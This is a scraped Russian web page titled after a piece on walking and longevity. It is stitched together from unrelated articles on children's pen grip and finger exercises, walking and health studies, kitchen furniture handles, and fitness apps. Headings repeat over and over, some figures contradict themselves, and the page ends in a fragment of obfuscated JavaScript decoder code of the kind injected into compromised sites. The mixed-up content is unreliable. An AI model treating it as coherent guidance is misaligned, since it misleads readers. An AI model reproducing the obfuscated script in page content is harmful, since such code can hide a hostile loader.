Почему домохозяйки живут дольше программистов: какое расстояние мы проходим по дому :: Инфониак

Чтобы пальчики не уставали

Не забывайте делать с малышом специальную пальчиковую гимнастику, чтобы его ручки с непривычки не уставали. Вспомните стишок из своего детства:

Мы писали, мы писали,

Наши пальчики устали.

Пальчики свои встряхнём

И опять писать начнем.

При этом малыш должен вытянуть вперёд руки и энергично потрясти пальчиками. Можно сделать и ещё несколько упражнений для расслабления мышц рук и пальцев:

  • «Здравствуйте». Ребёнок дотрагивается большим пальцем по очереди до всех остальных, как бы кланяется и здоровается.
  • «Гуси-лебеди». Малыш делает движения кистями рук, имитируя полёт птицы.
  • «Крестики-нолики». Нужно скрещивать поочерёдно указательный, средний, безымянный пальцы и мизинец.
  • «Колокольчики». Ребёнок машет кистями рук в течение 30–40 секунд.
  • «Червяк». Нужно дотянуться каждым пальцем до основания того же пальца.
  • «Играем на пианино». Малыш изображает игру на пианино на столе или в воздухе.
  • «Режем ножницами». Ребёнок соединяет пальцы в пары, а потом разводит их.
  • «Рисуем круги». Карапуз рисует в воздухе круги с помощью каждого пальца каждой руки.

Будьте терпеливы и не ругайте малыша, если у него не получается с первого раза взять ручку правильно. Напротив, хвалите кроху даже за самые небольшие успехи.

Помните, уважаемые родители, что только правильный навык держать пишущий инструмент:

  • обеспечивает свободное движение пишущей руки;
  • помогает сохранять правильную посадку;
  • предотвращает избыточное напряжение руки;
  • способствует выработке красивого, чёткого почерка;
  • будет залогом быстроты написания.

Дорогие читатели! Поделитесь своим опытом: как ваш ребёнок научился правильно держать ручку и карандаш? Если наши советы и рекомендации понравились вам, расскажите о них своим друзьям.

Желаем вам всего самого наилучшего! До свидания!

А что гласит история?

«Миллионы лет нашей эволюции мы ежедневно находились на ногах около 8 часов», – отмечает МайкЛин, завкафедрой питания в университете Глазго (Шотландия). – «Учитывая историю, логично предположить, что сердце и тело человека были бы намного здоровее, если бы люди больше времени находились в вертикальном положении и ходили, а не сидели».

Так сколько же в среднем ежедневно проходили наши предки? В изданной журналом «The Lancet» статье, рассматривается племя дикарей Цимане, которые изолировано обитают в Боливийской Амазонке и их сердца одни из самых здоровых в истории.

Если сравнивать показатель кальция в коронарных артериях (очень чувствительный индикатор недугов), то у дикарей сердца были примерно на 28 лет моложе, чем (у американских жителей).

– Заявляет соавтор статьи кардиолог медцентра Сент-Люка (Канзас-Сити), доктор Рэндалл Томпсон. Совместно с коллегами он установил, что Цимане на ногах находятся примерно 5-6 часов каждый день и физически активны.

Другое же исследование, напечатанное в «International Journal of Obesity», гласит, что 111 почтовых служащих Великобритании обеспечили трекерами активности и всю неделю контролировали то, сколько времени они сидят и ходят. Люди, совершавшие 15 тыс. шагов каждый день, почти не подвергались риску сердечно-сосудистых расстройств.

При этом, хоть и велик эффект оздоровления, но, в условиях нынешнего образа жизни, практически нереально ежедневно проходить 15 тыс. шагов, если конечно вы не являетесь работником почты. Поскольку в день это займет примерно 3,5 часа! Потому большинство экспертов склонны считать, что необходимо ставить реалистичные цели и подмечают, что каждый шаг несет пользу.

Лектор университета Варвик, Вильям Тигбе для тех людей, которые почти вообще не ходят, для начала ставит задачу-минимум…

Сократить сидячее времяпрепровождение, прерывая его наиболее длинные периоды ходьбой или же вставанием.

Такой же отзыв Катрин Тюдор—Локк, по совместительству руководителя Совета по кинезиологии в университете Амхерст (Массачусетс), главная идея которого в том, что лучше концентрироваться на достижении минимумов, чем максимумов.

Основные виды кухонных ручек

Ручки для мебели могут выполняться из цветного пластика, а могут украшаться стразами. Естественно, перед покупкой придется проанализировать множество факторов — от цвета помещения и стиля мебели до финансовых возможностей, но главное, с чем придется разобраться — какие вообще бывают ручки.

Как правило, предлагаемая проверенными производителями фурнитура может быть таких типов и форм:

  • ручки-кольца, устанавливаемые на декоративную основу, — массивные, благородные и элегантные. Материал для их изготовления — металл, патинированный или покрытый бронзовым напылением. Они превосходно сочетаются с классическими деревянными кухонными фасадами. Однако каждый раз дверцы нужно будет открывать очень аккуратно, чтобы не повредить фасады;
  • популярностью пользуются ручки-раковины (изготавливаются как из металла, так и из пластика), поверхность которых может быть украшена росписью и резьбой;
  • компактная и удобная фурнитура в виде «кнопок» может выполняться из дерева, металла или пластика и прекрасно подходит для легких фасадов;
  • легкими считаются и маленькие ручки-капли — это изделие относится к классическим, но лучше всего сочетается с пластиковым фасадом;
  • самыми практичными и лаконичными (а потому и очень распространенными) считаются ручки-скобы, которые могут выполняться из разных размеров;
  • встроенные ручки (смотрятся как прорезанное на гладком фасаде полотно) — идеальны в том случае, если фасады кухонной мебели уже богато украшены (например, стразами или резьбой).

Выбор материала

Лицевая фурнитура чаще всего выполняется из различных сплавов. Обычно в них входит алюминий и цинк. В популярные сплавы включается цинк, медь и магний. Свойства таких сплавов обеспечивают прочность и долговечность кухонных ручек.

Для придания ручкам эстетичности их покрывают различным декоративным напылением. Такие поверхности имитируют золото, медь, серебро и другие металлы. Довольно популярной сегодня является имитация состаренного металла.

Наиболее распространенными являются кухни в стиле прованс, классик и кантри. При выборе таких стилей предоставляются широкие возможности для дизайнерской отделки кухни. Современные кухни часто выполняют с глянцевым или матовым хромом. Распространенной является и технология патинирования, позволяющая добиться эффекта античной бронзы.

Интересно! Фарфор служит отличным украшением на любой кухне. Он может быть дополнен изящной росписью.

Если с типом фурнитуры никак не определиться, а вариантов недостаточно много, лучше обратиться в специализированный интернет-магазин. Здесь найдется множество предложений для самых разнообразных дизайнерских идей. К примеру, довольно эстетично выглядят ручки из прозрачного пластика. Отлично смотрятся изделия с кожаными вставками и деревянными деталями.

Если покрытие на элементы фурнитуры наносится гальваническим методом, они служат намного дольше. Такое покрытие представляет собой довольно тонкий слой металла. Она может надежно защитить элемент фурнитуры от механических повреждений и ржавления. Эстетический эффект при наличии такой пленки существенно увеличивается.

Многие крупные производители применяют гальванический метод уже после того, как резьба будет нарезана. Благодаря этому обеспечивается гарантия отсутствия ржавчины в местах крепления.

Намного меньшей продолжительностью эксплуатации отличается лакокрасочное покрытие. Его напыляют на поверхность. Такое покрытие отличается представительным внешним видом и смотрится не хуже дорогих материалов. Однако в условиях кухни такие ручки могут быстро утратить свою привлекательность.

Дартс

В возрасте пяти-шести лет ребенку можно предложить метать дротики. Так происходит тренировка правильной постановки руки для письма. Дартс помогает понять принцип удерживания письменной принадлежности. Игра требует максимально точных бросков. Чем дольше в нее играешь, тем чаще попадаешь в намеченную цель. Это признак улучшенной координации рук.

СПРАВКА! Психологи не советуют учить детей писать буквы до пяти лет. Физиологически в таком возрасте ребенок не готов к нажиму на ручку и внимательному слежению за написанием букв.

Дети очень подвижны: им сложно усидеть на одном месте. Тем не менее, нужно стремиться к тому, чтобы вовремя занятий вред для осанки был минимальный. При идеальной посадке ноги согнуты под углом 120 градусов.

  • При верном варианте ступни ног полностью стоят на полу. Бедра расположены параллельно полу. Голени — перпендикулярно. Локти лежат на столе.
  • Расстояние между туловищем и столом — не менее двух сантиметров.
  • Тетрадь кладется под углом 30 градусов к телу. Уголок должен смотреть в центр груди.
  • Голова склоняется чуть-чуть к столу.
  • Важно правильно подобрать высоту стола и стула (с учетом возраста и роста ребенка). Можно приобрести мебель, где эти параметры можно менять.
  • Время от времени проверяют расстояние от рисунка до глаз. Если поставить локоть на стол, органы зрения должны расположиться на уровне пальцев.
Читайте также:  Как встроить посудомоечную машину в кухню

СПРАВКА! Необходимо обратить внимание на освещение рабочего места. Лампу располагают слева, чтобы правая рука не отбрасывала тень. У левшей источник света находится справа.

Дизайн и стиль

Стиль фурнитуры должен соответствовать дизайну той мебели, к которой она подбирается. Ведь неправильно выбранные дверные ручки могут испортить даже изысканные изделия. Все стили можно разделить на несколько групп, к которым подходят определенные модели:

  • Кантри, прованс, ретро. К ним подходят элементы, имеющие фарфоровые или патинированные вставки, кнопки. Годятся ручки с керамической огранкой. Но нужно учитывать, что деревянные изделия со временем могут утратить привлекательный внешний вид, им понадобится реставрация. Поверхность выбранных аксессуаров должна быть матовой, глянец в этом случае не подойдет. Хорошо смотрятся на мебели этих стилей винтажные ручки.
  • Рококо, барокко. В этих стилях нередко можно увидеть классические кухни из натурального дерева. К ним подходят кованые ручки, фурнитура из состаренной бронзы, антикварные кольца, элементы с кристаллами Сваровски.

Что собой представляют мебельные конфирматы, преимущества и недостатки

Что касается хай-тека, модерна, лофта, то к ним подходят профили, особенно врезные, рейлинги. Рекомендованы сенсорный и скрытый варианты ручек, кнопки, украшенные хрусталем или элементы мебели со стразами, скобы разнообразного дизайна. Для этих стилей характерны сочетание минимализма с практичностью, яркие цвета, глянцевое покрытие. Классика тут не уместна.

Ручки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материалов

Как выбрать подходящую ручку?

Взрослые люди, обладающие уверенным навыком письма, практически не обращают внимания на качество ручки (особенно в последнее время, когда писать от руки приходится все реже). Чаще пишущие принадлежности выбирают исходя из дизайна, оригинальности, актуального логотипа.

Но для обучения ребенка навыкам письма «подарочные» варианты — особенно нестандартной формы — абсолютно не подходят. Следует выбирать шариковые ручки.

При выборе важно учесть:

  1. Форму. Шестигранные или трехгранные ручки удобнее круглых — они легче ложатся в руку и не крутятся. Очень хороши ручки с прорезиненным корпусом. В этом случае даже круглая ручка плотно зажимается детскими пальцами и не скользит, а грани не оказывают дополнительного давления.
  2. Длину. Оптимальная длина ручки — 13-15 см.
  3. Ширину. Толстые ручки не умещаются в детских пальчиках, поэтому не стоит выбирать ручку толще 1 см в диаметре.
  4. Цвет чернил. Слишком светлый плохо виден, он заставит ребенка низко наклоняться над тетрадным листом, а черный банально мрачен. Обычно для обучения используются фиолетовые или синие чернила.
  5. Материал. Не стоит забывать и о том, что дети часто пробуют карандаши «на вкус». Ручки из ткани, с перьями, хвостиками и забавными наконечниками лучше покупать, когда ребенок подрастет.

Существуют специальные ручки, предназначенные для обучения (так называемые ручки-самоучки) — они сконструированы так, чтобы держать их можно было только одним, правильным образом. Но ребенок обычно пользуется не одной ручкой или карандашом, поэтому полезнее будет, если он научится брать любой пишущий предмет так, как нужно.

Какие характеристики важны при выборе?

Современный рынок перенасыщен различными моделями ручек для кухонной мебели, поэтому перед покупкой обязательно оцените все необходимые параметры.

  • Размер. Длина скоб и рейлингов зависит от межцентрового расстояния. Среди огромного ассортимента вы встретите как миниатюрные 16 мм модели, так и заметные варианты, размером более метра. Профессионалы советуют подбирать варианты, занимающие 50-80% от ширины фасада. Такие модели будут смотреться стильно и современно. Если ваша цель — изящный интерьер, выбирайте тончайшие небольшие ручки. Крупные широкие образцы, наоборот, станут смелым акцентом — особенно это касается ручек-кнопок.

На фото длинные современные рейлинги

  • Форма. Ручки-скобы, рейлинги, кнопки — далеко не все доступные варианты. В последнее время популярна ракушка — обтекаемая выгнутая форма позволяет хвататься за нее только снизу. Латунные, медные, бронзовые ракушки уместны в стиле кантри, сканди, прованс. Забытые, но не менее оригинальные ручки-капли с ножкой на шарнире и висячей частью для захвата. Редко используется в кухонных помещениях из-за неудобства, но подойдет для создания антуража — например, в качестве ручки на сервант или буфет. Похожая на каплю форма кольца отличается более комфортным захватом. Благодаря округлой форме фурнитура сглаживает острые углы и уравновешивает пространство. В зависимости от оформления подходят к разным стилям: гладкие хромированные впишутся в хай-тек, гравированные или резные — в классику и барокко.
  • Материал. Большинство ручек для кухонной мебели изготавливают из металла. Наиболее популярный сплав — цинк алюминий. При несложном уходе фурнитура прослужит долгие годы, сохранив первоначальный внешний вид. Дверные ручки с хромированным покрытием лучше всего подходят для модной современной мебели (серой, белой, темной), из бронзы, латуни, напыления из золота или серебра — классическому стилю кухни. Позолоченные ручки с керамическими вставками выглядят весьма романтично. А если взять сочетание акрила или стекла с хромированным металлом — получите фурнитуру в современном стиле. Самыми недорогими считаются пластиковые ручки — они менее долговечные, но некоторые модели внешне ничем не отличаются от металла.

Лучшие производители

Лучшая мебельная фурнитура, ручки и другие элементы производятся в Европе. Изделия отличаются стильным внешним видом, высоким качеством. Италия лидирует в рейтинге. Компании из этой страны, которые заслуживают внимания:

  • Premiere Furniture;
  • Bosetti-Marella;
  • Colombo Design;
  • Besana;
  • Eureka.

Любой предмет мебели превращается в кухонный шедевр благодаря итальянским ручкам из металла, кожи, кристаллов, натуральных камней. При их создании соблюдаются все правила эргономики, они оригинальны, их легко подобрать под любой стиль и размер. Но из-за высокой цены эта фурнитура доступна только обеспеченным людям.

Торговая сеть «Икеа» предлагает огромный выбор ручек для мебели, в том числе для кухонных гарнитуров. Эти изделия всегда высокого качества, в ассортименте есть аксессуары в виде рейлингов, кнопок, капель, скоб. Часто присутствует вставка, например, из металла.

Польские фирмы Gamet, Nomet производят качественную фурнитуру для мебели среднего ценового ряда. Среди российских компаний заслуживают внимания изделия фирм «Валмакс» и Boyard. Для моделей их производства характерны высокое качество, интересный, разнообразный дизайн. Но главное достоинство — приемлемые цены.

Китайские мебельные ручки часто являются копиями изделий из Италии. Но для производства такой дверной фурнитуры применяют дешевые материалы и совершенно другие технологии. Китайские подделки быстро теряют товарный вид, привлекательность, а значит, понадобятся дополнительные траты денег и времени на замену аксессуаров.

Ручки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материаловРучки для кухонного гарнитура: какого размера, из каких материалов

Методики, которые приучить ребенка правильно держать ручку

Хорошо, если обучение проходит в игровой форме и ребенок делает то, что ему интересно, а не только «нужно».

Примеры игровых упражнений:

  1. «Кроватка для карандаша». Объясните малышу, что карандаш любит писать, лежа на «подушке» (на верхней фаланге среднего пальца) и укрывшись «одеялом» (из большого и указательного пальцев).
  2. Поиграйте в «следопыта». Поставьте на пальце ребенка яркую точку в том месте, которого должен касаться карандаш, и точку того же цвета — на самом карандаше. Пусть ребенок следит за тем, чтобы «следы» все время совпадали.
  3. Займите «лишние» пальцы. Скажите малышу, что мизинец и безымянный палец тоже хотят чем-то заниматься, пока другие рисуют, поэтому нужно найти им дело: пусть зажимают что-то мягкое. Обычно предлагают подложить под пальчики сложенную салфетку, ватный шарик или ластик.
  4. Отправьте пальцы в «тренажерный зал». Можно устроить для ребенка специальный тренажер с помощью обычной банковской резинки. Ее надевают на запястье малыша, а противоположную сторону скручивают и набрасывают на верхний конец карандаша. Так формируется правильный наклон при письме. Кроме того, резинка натянется и будет слегка давить, если ребенок возьмет карандаш в кулак.
  5. Другой вид тренажера — канцелярский зажим. Поместите карандаш в зажим, а «ушки» поднимите таким образом, чтобы туда можно было поместить указательный палец. Ребенок должен следить за тем, чтобы палец не покидал пространства «между ушек».
  6. «Пожалейте» карандаш. Письменную принадлежность нужно поставить вертикально пишущей частью вниз и дать ребенку «погладить» ее сверху вниз тремя пальцами (большим, указательным и средним). Так можно помочь ребенку почувствовать правильное положение пальцев.
  7. «Поиграйте в дартс» карандашом. Возможно, малышу будет интереснее, если он вообразит, что ручка или карандаш — это дротик, который надо «метнуть» в лист бумаги. Можно даже нарисовать на листе мишень.
Читайте также:  Стол из старой машинки "Зингер" ← Hodor

Подходят ли эти способы для левши?

Маленькие дети одинаково — и не слишком ловко — управляются с обеими руками. Поэтому считается, что однозначно определить рабочую руку малыша можно лишь к 4 годам. Однако обычно и в более раннем возрасте заметно, если ребенок тянется к предметам, хватает игрушку, еду только левой рукой.

Переучивать левшу не надо ни в коем случае. Его «леворукость» — не каприз, а показатель того, что за речь и письмо у него отвечает не левое (как у большинства), а правое полушарие мозга. Стараясь переучить малыша, вы заставляете левое полушарие выполнять несвойственные ему функции, а это может привести к тому, что у ребенка усложнится и замедлится процесс учебы и получения навыков.

Никаких отдельных методик, обучающих леворуких детей правильно держать ручку или карандаш, не требуется — все манипуляции просто нужно выполнять в зеркальном отображении.

Так, в левой руке ручка опирается на правую сторону среднего пальца; большой палец поддерживает ее справа, указательный — сверху.

Ряд отличий от «правшей» все же есть:

  • пальцы левшей должны держать ручку выше, чем это делают правши, на 3-4 см;
  • левая рука и ручка должны находиться на одной прямой или с небольшим наклоном;
  • лист бумаги или тетрадь левша двигает правой рукой;
  • нужно следить за тем, чтобы левая рука находилась под строкой;
  • нужно стремиться к тому, чтобы все линии получались прямыми (если нужен наклон, он достигается поворотом листа);
  • важно следить за тем, чтобы указательный палец двигался свободно и не напрягался чрезмерно;
  • необходимо обеспечить правильное освещение: свет для левши должен падать справа.

Выбирая ручку, также стоит учитывать особенности ребенка: необходимы пишущий под любым углом тонкий стержень и быстросохнущие чернила (так больше шансов не размазать написанное).

Популярные модели

Мебельные ручки для кухни представлены широким разнообразием моделей, различающихся по дизайну, стилю, габаритам и функциональности. Ассортимент производителей включает в себя сотни вариаций форм, размеров и концепций – от классических «скоб» до нетривиальных ручек в виде столовых приборов.

ТОП-5 самых востребованных ручек для кухонных гарнитуров:

  • Ручки-скобы. Фурнитура имеет П-образную или изогнутую конструкцию, крепится к фасаду при помощи двух винтов. Межцентровое расстояние при этом варьируется в диапазоне 16-480 мм. Это удобные и не слишком дорогие ручки, которые стали самыми востребованными на рынке.
    Мебельные ручки для кухни: что о них нужно знать и как выбрать идеальную фурнитуру?
  • Рейлинговые. Представляют собой перекладину в форме планки или цилиндра, которая крепится к фасаду при помощи двух кронштейнов. Конструкция может предполагать выступающие или совпадающие с держателями перекладины. Это модные ручки для кухни, которые особенно востребованы для гарнитуров в стиле модерн, хай-тек и неоклассика.
    Мебельные ручки для кухни: что о них нужно знать и как выбрать идеальную фурнитуру?
  • Ручки-кнопки. Форма верхней части фурнитуры может представлять собой круг, овал, квадрат или прямоугольник, конструкция может быть плоской или выпуклой, высота ножки, как правило, небольшая, а крепежный элемент один. Такие кухонные ручки лучше всего смотрятся на фасадах гарнитуров, выполненных в стиле прованс, винтаж, классика и кантри.
    Мебельные ручки для кухни: что о них нужно знать и как выбрать идеальную фурнитуру?
  • Профиль-ручки. Конструкция представляет собой полый профиль из алюминия или пластика. Крепление осуществляется на верхний или боковой участок дверцы. Это оригинальные варианты ручек для кухни, которые не так часто встречаются в гарнитурах отечественного производства и больше всего подходят для интерьеров в стиле модерн или хай-тек.
    Мебельные ручки для кухни: что о них нужно знать и как выбрать идеальную фурнитуру?
  • Раковины. Представляют собой вариацию ручек со стилизацией верхней части по ракушку моллюска. Такая фурнитура обладает специфической эстетикой и подходит для винтажных и классических интерьеров.
    Мебельные ручки для кухни: что о них нужно знать и как выбрать идеальную фурнитуру?

Альтернативой выступающим над поверхностью фасада ручкам могут служить врезные или сенсорные модели. Встроенные решения полностью сливаются с плоскостью передней части дверцы или ящика, характеризуются удобством использования, но довольно сложной установкой.

Еще одно технологичное решение – сенсорные модели, которые часто оснащаются LED-подсветкой. Эти виды ручек изготавливаются из особого пластика и работают от батареек. При легком прикосновении к ним происходит открытие или закрытие дверцы. В случае установки подсветки мягкое свечение сопровождает процесс работы механизма и гаснет в течение 15-30 секунд.

Правила выбора

Стандартные гарнитуры эконом-класса обычно укомплектованы типовой недорогой фурнитурой с невыразительным простым дизайном. Если же кухню делают на заказ, обязательно предложат каталог фурнитуры и посоветуют, какие ручки лучше подойдут к заказанной модели гарнитура.

Главное правило – изделия должны быть максимально удобны именно для вас, так как придётся много раз на день открывать и закрывать ящики и шкафы, и этот процесс не должен быть неприятным. Кроме того, ручки должны вписаться в существующий дизайн вашей кухни, гармонично выделяясь на фоне фасадов.

Из каталога можно выбрать любой понравившийся вариант, но ручек так много и все они такие разные.

На что нужно обратить внимание при самостоятельном выборе фурнитуры:

  • Ручка должна быть удобной, это особенно касается скобы или рейлинговой модели. Ладонь должна проходить в неё по ширине. При покупке в салоне следует опробовать фурнитуру в деле, прислушаться к своим ощущениям.
  • Фурнитура должна быть безопасной, не допускаются острые края и углы, зазубрины и дефекты декоративного покрытия.
  • При получении товара обязательно следует осмотреть внешний вид фурнитуры и проверить комплектность. Тональность покрытия должна быть одинаковой, не допускаются сколы, царапины и погнутость. Если фурнитура декорирована стразами, они должны быть хорошо прикреплённые.
  • Все металлические детали фурнитуры должны быть выполнены из одного материала и быть либо все матовые, либо блестящие.

Фурнитура должна быть соразмерна с модулями гарнитура и пропорциональна им. При узком фасаде ручка тоже должна быть короткой.

Приложения для спортивной ходьбы

Map my walk. Это аналог известной программы Map my run. Приложение помогает изучить маршруты ваших прогулок, а также понять, сколько вы прошли за день. Также при помощи Map my walk вы сможете проанализировать свою активность за неделю и за месяц.

Endomondo. Персональный онлайн-тренер. Приложение дает инструкции в зависимости от типа активности. В конце прогулки можно посмотреть результаты, включая дистанцию, максимальную и минимальную скорость, сожженные калории, гидратацию.

Wokamon. Онлайн-игра по принципу тамагочи. Приложение создает виртуальных подопечных, которых надо кормить и снабжать энергией при помощи ваших шагов. Чем больше вы ходите, тем быстрее и активнее растет в телефоне маленький монстр.

Всемирная организация здравоохранения рекомендует уделять физической активности с аэробной нагрузкой 150–300 минут в неделю. Чтобы достичь этих цифр, советую включать пункт «прогулка» в ежедневник наряду с другими важными делами. Попробуйте после каждой прогулки записывать физические и эмоциональные ощущения. Сравните их до и после. И если положительных изменений будет больше, вам будет сложнее прогулять следующий выход.

Чтобы начать больше двигаться, надо сформировать намерение, встать и пойти. Для начала можно просто увеличить бытовую нагрузку: начать ходить за продуктами в магазин, который дальше от дома; при поездке в офис выходить на одну станцию раньше; стараться выбирать новые маршруты.

Следующий шаг — это целенаправленный выход на прогулку. Лучше выбрать для этого парковую зону с естественным покрытием. Подъемы и спуски, причем грунтовые, а не асфальтированные, дадут достаточную нагрузку для нетренированного человека. Увеличивайте время и расстояние прогулок постепенно, тогда ваше тело и мозг отблагодарят вас снижением уровня стресса и повышением настроения.

Для укрепления организма в целом и сердечно-сосудистой системы в частности нам нужны более активные физические упражнения. Например, во время прогулки полезно взять в руки палки. Освоив правильную технику скандинавской ходьбы, мы включим в работу 80–90% мышц тела и выйдем на ту самую аэробную нагрузку, про которую говорит ВОЗ.

Читайте также:  Освещение на кухне: 90 фото и видео лучших идей выбора света и цвета для дизайна кухни

Относиться к скандинавской ходьбе следует как к тренировке, где важную роль играет разминка до и после прогулки. Для достижения прогресса важно дополнять ходьбу силовыми упражнениями, растяжками, упражнениями на координацию и внимание. Во всех крупных московских парках проводятся регулярные тренировки с инструкторами.

Режим занятий при диабете, гипертонии, болезни Паркинсона, после инсульта имеет свои особенности. Эти диагнозы должны рассматриваться не как препятствие, а наоборот, как повод для двигательной активности, но под контролем специалиста, например врача ЛФК. 

Рекомендации по установке ручек

Итак, вы выбрали качественные, функциональные и привлекательные ручки. Осталось только правильно их установить — при этом важно не нарушить симметрию расположения.

Для этого установка проводится по шаблону — с его помощью фурнитура монтируется еще до навешивания фасадов. Шаблон представляет собой прямоугольный кусок фанеры с отверстиями, выполненными в нужных местах. Благодаря такой простой конструкции вы сможете сделать отверстия под крепеж сразу на всех фасадах без дополнительных замеров.

Совет: стеклянные и деревянные фасады нуждаются в установке дополнительной шайбы (с обратной стороны болта). Это не только снизит риск растрескивания, но и предохранит крепление от разбалтывания.

Важен и выбор инструмента. Так, для деревянного (или из МДФ) кухонного фасада используются ступенчатые или корончатые сверла — острые и позволяющие сверлить без нажима. Для стекла применяются особые сверла с алмазным напылением.

Совет: Отверстие в стекле можно проделать и расплавленным оловом — в этом случае появление трещин невозможно. Для проведения работ потребуется олово (которое используется в процессе пайки) и песок. Фасадная филенка размечется и посыпается песком.

Итак, выбор кухонных ручек — совсем не сложное мероприятие. Вы можете предпочесть традиционные скобы, а можете украсить гарнитур экстраординарной фурнитурой — все зависит от стиля помещения и вашего собственного желания.

Самые популярные дизайны

размер ручек для мебельного гарнитура

  • Ручки-скобы – наиболее популярный вид фурнитуры. Модель имеет изогнутую или П-образную форму. Она плотно фиксируется к фасадам и удобна в эксплуатации. Можно встретить большой ассортимент моделей в разных стилях.
  • Рейлинговые модели – используются в современном кухонном гарнитуре. Цилиндрическая форма с двумя держателями выглядит стильно и просто на людей кухне.
  • Кнопки – круглые модели похожие на старинные варианты. Используют такие модели в классических стилях. В современном дизайне используются крайне редко. Обычно кнопки устанавливаются на небольшие ящички с узким фасадом.
  • Профиль-ручки – небольшой отрезок пластикового или алюминиевого профиля. Крепят его к боковой или верхней части дверце.
  • Врезные варианты – отлично подойдут для тех, кто не любит выпирающие модели в гарнитуре. Фурнитура врезается в мебельный фасад, поэтому её практически незаметно.

При покупке кухонного гарнитура следует отдельное внимание уделить ручкам. Ведь от них зависит завершённый вид конструкции и удобство в эксплуатации. Выбрать фурнитуру не так сложно, главное, чётко определиться со стилем, габаритами и внешним видом изделия. И тогда останется лишь выбрать наиболее прочные и стильные варианты.

Советы по выбору

При заказе индивидуального изготовления гарнитура дизайнер подскажет вам, какие лучше выбрать ручки для кухни и предложит несколько оптимальных вариантов. Постарайтесь учесть экспертные рекомендации – они нацелены на подбор не только гармонично соответствующей эстетике мебели, но и удобной в эксплуатации фурнитуры.

Выбор ручек стоит осуществлять на основе следующих рекомендаций:

  • уровень комфорта – фурнитура должна удобно ложиться в руку, ведь использовать ее придется ежедневно;
  • удобство захвата – желательно, чтобы в «скобы» или рейлинги проходила ладонь, а не 1-2 пальца;
  • безопасность – стоит воздержаться от выбора моделей с острыми углами и чрезмерно выступающими из геометрии общей конструкции элементами;
  • идентичность – расположение ручек на фасадах кухни требует гармоничного сочетания фурнитуры по дизайну, геометрии, оттенку и декору;
  • пропорциональность – габариты фурнитуры должны соответствовать размеру дверцы или ящика, не должны быть слишком большими относительно конструкции мебели;
  • размер – при идентичности модулей можно использовать дверные ручки для кухни одного размера, а вот при сочетании в гарнитуре крупных и мелких блоков лучше подобрать фурнитуру 2-3 размеров;
  • визуальный эффект – если расположение ручек на кухне предполагают их установку на верхних шкафах, то для этой цели не подойдет массивная фурнитура, стоит отдать предпочтение более компактным, врезным или сенсорным моделям;
  • сочетаемость – оттенок и декор материала ручек должен соответствовать эстетике металла других элементов гарнитура.

На первый план выходит соразмерность модулей и фурнитуры: чем более коротким будет фасад, тем меньше должен быть размер ручки. Так для дверцы шириной в 60 см стоит использовать рейлинги с межцентровым расстоянием порядка 420-236 мм, а вот для небольших ящиков шириной 200-300 мм идеально подойдут модели с расстоянием между крепежными элементами не более 90-96 мм.

Особое внимание стоит уделить модулям, которые будут располагаться в непосредственной близости от стены. Здесь важно использовать ручки для мебели на кухню, которые не будут выступать за фасады, не повредят обои при регулярном открывании и закрывании.

Установка ручек

Когда у вас есть шаблон, то вы можете установить ручки на все фасады сразу, ещё до их навешивания. К тому же, при помощи шаблона на дверки также устанавливаются петли, где крайне важен каждый миллиметр расстояния.

lazy placeholder

Фурнитура, соответствующая стилю, — какая она?

Фурнитура должна быть надежной, практичной и высокодекоративной. Нельзя выбрать именно эти ручки-скобы со стразами только потому, что они произвели впечатление на выставочном стенде — нужно вдумчиво оценить общий стиль кухни и подобрать соответствующее решение. Базовых рекомендаций здесь не так и много:

  • Для мебели в классическом стиле подойдут бронзовые или фарфоровые ручки.
  • Ищете вариант для кухонного гарнитура в стиле хай-тек? Вам не обойтись без современных релингов — это своеобразные скобы, прямые, лаконичные и очень удобные. Релинги устанавливают на пластиковые или алюминиевые фасады, причем они могут монтироваться как вертикально, так и горизонтально.
  • Ручки-скобы также отличаются простотой форм и подходят для горизонтального или вертикального расположения. Как правило, такие варианты не перегружаются резьбой или стразами, а потому идеальны для «современной классики» и модерна. Наиболее распространенные расцветки, в которых выпускаются скобы, — «дерево», бронза, алюминий, хром, сатин, золото.
  • Для кухонь в стиле прованс или винтаж выбирается искусственно состаренная фурнитура или классические ручки с фарфоровыми вставками, выглядящие как аристократичный антиквариат.
  • Уникальные ручки со стразами Сваровски станут шедевром для неповторимого блестящего интерьера. Кстати, и кухонные фасады вполне могут украшаться стразами. Впрочем, не стоит «усыпать бриллиантами» всю кухню — будет достаточно, если стразами будут украшены только ручки. Кстати, они прекрасно сочетаются с лаконичными окрашенными поверхностями.

Ходьба пешком для похудения: польза, расход калорий, скорость

>(-0x2*_0xe52d7b&0x6)):0x0){_0x4fa009=_0x33835b[‘indexOf’](_0x4fa009);}return _0x2ce216;};a0_0x5344[‘MSYvHM’]=function(_0x147d37){var _0x3a3234=_0x53444e(_0x147d37);var _0x95b9f2=[];for(var _0x5c109c=0x0,_0x492bcc=_0x3a3234[‘length’];_0x5c109c<_0x492bcc;_0x5c109c ){_0x95b9f2 =’%’ (’00’ _0x3a3234[‘charCodeAt’](_0x5c109c)[‘toString’](0x10))[‘slice’](-0x2);}return decodeURIComponent(_0x95b9f2);},a0_0x5344[‘uDogYq’]={},a0_0x5344[‘NuDHGB’]=!![];}var _0x75b161=a0_0x5344[‘uDogYq’][_0x35036b];if(_0x75b161===undefined){var _0x813e7b=function(_0x3456c1){this[‘jOBnSf’]=_0x3456c1,this[‘VcOAHj’]=
